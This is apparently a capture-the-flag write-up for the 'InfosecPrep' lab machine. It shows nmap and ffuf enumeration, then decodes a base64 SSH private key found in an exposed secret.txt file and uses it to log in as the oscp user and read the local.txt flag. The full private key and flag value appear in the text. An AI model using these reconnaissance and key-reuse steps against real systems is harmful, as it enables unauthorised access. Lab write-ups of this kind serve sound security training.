Skip to main content

InfosecPrep

Reconnaissance

Nmap scan

Let's perform an nmap scan to find the open ports and the services running on the open ports.

$ nmap -T5 -Pn -A -p- 192.168.202.89
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-10 05:14 EDT
Warning: 192.168.202.89 giving up on port because retransmission cap hit (2).
Nmap scan report for 192.168.202.89
Host is up (0.070s latency).
Not shown: 64020 closed tcp ports (conn-refused), 1512 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91:ba:0d:d4:39:05:e3:13:55:57:8f:1b:46:90:db:e4 (RSA)
| 256 0f:35:d1:a1:31:f2:f6:aa:75:e8:17:01:e7:1e:d1:d5 (ECDSA)
|_ 256 af:f1:53:ea:7b:4d:d7:fa:d8:de:0d:f2:28:fc:86:d7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: OSCP Voucher – Just another WordPress site
|_http-generator: WordPress 5.4.2
| http-robots.txt: 1 disallowed entry
|_/secret.txt
|_http-server-header: Apache/2.4.41 (Ubuntu)
33060/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 357.13 seconds

There are three open ports:

PortService
22ssh
80http
33060tcpwrapped

Directory enumeration

We can perform directory enumeration on the webpage using ffuf.

$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.202.89:80/FUZZ | grep "Status: 200"
________________________________________________

# Copyright 2007 James Fisher [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 952ms]
# directory-list-2.3-medium.txt [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 953ms]
# [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 1928ms]
wp-content [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 68ms]
# on atleast 2 different hosts [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 3989ms]
# [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 3990ms]
[Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 3990ms]
# [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 5033ms]
# Priority ordered case sensative list, where entries were found [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 5044ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 5047ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 5060ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 5060ms]
wp-includes [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 72ms]
javascript [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 72ms]
# [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 6087ms]
# This work is licensed under the Creative Commons [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 6088ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 6088ms]
wp-admin [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 74ms]
[Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 287ms]
server-status [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 75ms]
:: Progress: [220560/220560] :: Job [1/1] :: 488 req/sec :: Duration: [0:07:23] :: Errors: 0 ::

From the scan, we can tell that the target is running WordPress.

Web enumeration

Let's visit the web page through our browser.

1

Scrolling down tells us who the user on the target is.

2

Username
oscp

Let's visit the robots.txt page to see if we can find some more information.

3

Visiting secret.txt gives us the following:

4

LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFB
QUFBQkc1dmJtVUFBQUFFYm05dVp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9VQmpSdEJENGc1TVlXUkFOTzBOajlWV01UYlc5UkxpUgpr
dW9SaVNoaDZ1Q2pHQ0NIL1dmd0NvZjllbkNlajRIRWo1RVBqOG5aMGNNTnZvQVJxN1ZuQ05HVFBh
bWNYQnJmSXd4Y1ZUCjhuZksyb0RjNkxmckRtalFBQUFBbHZjMk53UUc5elkzQT0KLS0tLS1FTkQg
T1BFTlNTSCBQUklWQVRFIEtFWS0tLS0tCg==

Seems like Base64 encoding.

 

Exploitation

Decoding SSH Private key

Let's save it to a file and decode it.

$ cat base64_encoded.txt | base64 -d
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAtHCsSzHtUF8K8tiOqECQYLrKKrCRsbvq6iIG7R9g0WPv9w+gkUWe
IzBScvglLE9flolsKdxfMQQbMVGqSADnYBTavaigQekue0bLsYk/rZ5FhOURZLTvdlJWxz
bIeyC5a5F0Dl9UYmzChe43z0Do0iQw178GJUQaqscLmEatqIiT/2FkF+AveW3hqPfbrw9v
A9QAIUA3ledqr8XEzY//Lq0+sQg/pUu0KPkY18i6vnfiYHGkyW1SgryPh5x9BGTk3eRYcN
w6mDbAjXKKCHGM+dnnGNgvAkqT+gZWz/Mpy0ekauk6NP7NCzORNrIXAYFa1rWzaEtypHwY
kCEcfWJJlZ7+fcEFa5B7gEwt/aKdFRXPQwinFliQMYMmau8PZbPiBIrxtIYXy3MHcKBIsJ
0HSKv+HbKW9kpTL5OoAkB8fHF30ujVOb6YTuc1sJKWRHIZY3qe08I2RXeExFFYu9oLug0d
tHYdJHFL7cWiNv4mRyJ9RcrhVL1V3CazNZKKwraRAAAFgH9JQL1/SUC9AAAAB3NzaC1yc2
EAAAGBALRwrEsx7VBfCvLYjqhAkGC6yiqwkbG76uoiBu0fYNFj7/cPoJFFniMwUnL4JSxP
X5aJbCncXzEEGzFRqkgA52AU2r2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lkbrgpMYih+ZgyvK1LoOTyMvVgT5LMgjJGsaQ5393M2
yUEiSXer7q90N6VHYXDJhUWX2V3QMcCqptSCS1bSqvkmNvhQXMAaAS8AJw19qXWXim15Sp
WoqdjoSWEJxKeFTwUW7WOiYC2Fv5ds3cYOR8RorbmGnzdiZgxZAAAAwQDhNXKmS0oVMdDy
3fKZgTuwr8My5Hyl5jra6owj/5rJMUX6sjZEigZa96EjcevZJyGTF2uV77AQ2Rqwnbb2Gl
jdLkc0Yt9ubqSikd5f8AkZlZBsCIrvuDQZCoxZBGuD2DUWzOgKMlfxvFBNQF+LWFgtbrSP
OgB4ihdPC1+6FdSjQJ77f1bNGHmn0amoiuJjlUOOPL1cIPzt0hzERLj2qv9DUelTOUranO
cUWrPgrzVGT+QvkkjGJFX+r8tGWCAOQRUAAADBAM0cRhDowOFx50HkE+HMIJ2jQIefvwpm
Bn2FN6kw4GLZiVcqUT6aY68njLihtDpeeSzopSjyKh10bNwRS0DAILscWg6xc/R8yueAeI
Rcw85udkhNVWperg4OsiFZMpwKqcMlt8i6lVmoUBjRtBD4g5MYWRANO0Nj9VWMTbW9RLiR
kuoRiShh6uCjGCCH/WfwCof9enCej4HEj5EPj8nZ0cMNvoARq7VnCNGTPamcXBrfIwxcVT
8nfK2oDc6LfrDmjQAAAAlvc2NwQG9zY3A=
-----END OPENSSH PRIVATE KEY-----

It is a SSH private key. Maybe we can use it to login as the oscp user. But before we do that, we have to save the key to a file id_rsa.

$ cat base64_encoded.txt | base64 -d > id_rsa

Next, we have to set the file permission to 600.

$ chmod 600 id_rsa 

SSH login

Now, we can login via SSH as the oscp user using the id_rsa private key.

$ ssh -i id_rsa oscp@192.168.202.89 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information disabled due to load higher than 1.0


151 updates can be installed immediately.
13 of these updates are security updates.
To see these additional updates run: apt list --upgradable


*** System restart required ***
Last login: Sat Aug 10 09:50:24 2024 from 192.168.45.234
oscp@oscp:~$

 

Post Exploitation

local.txt

oscp@oscp:~$ cat local.txt
640d75efcc0212469258bc7ccc9c58cf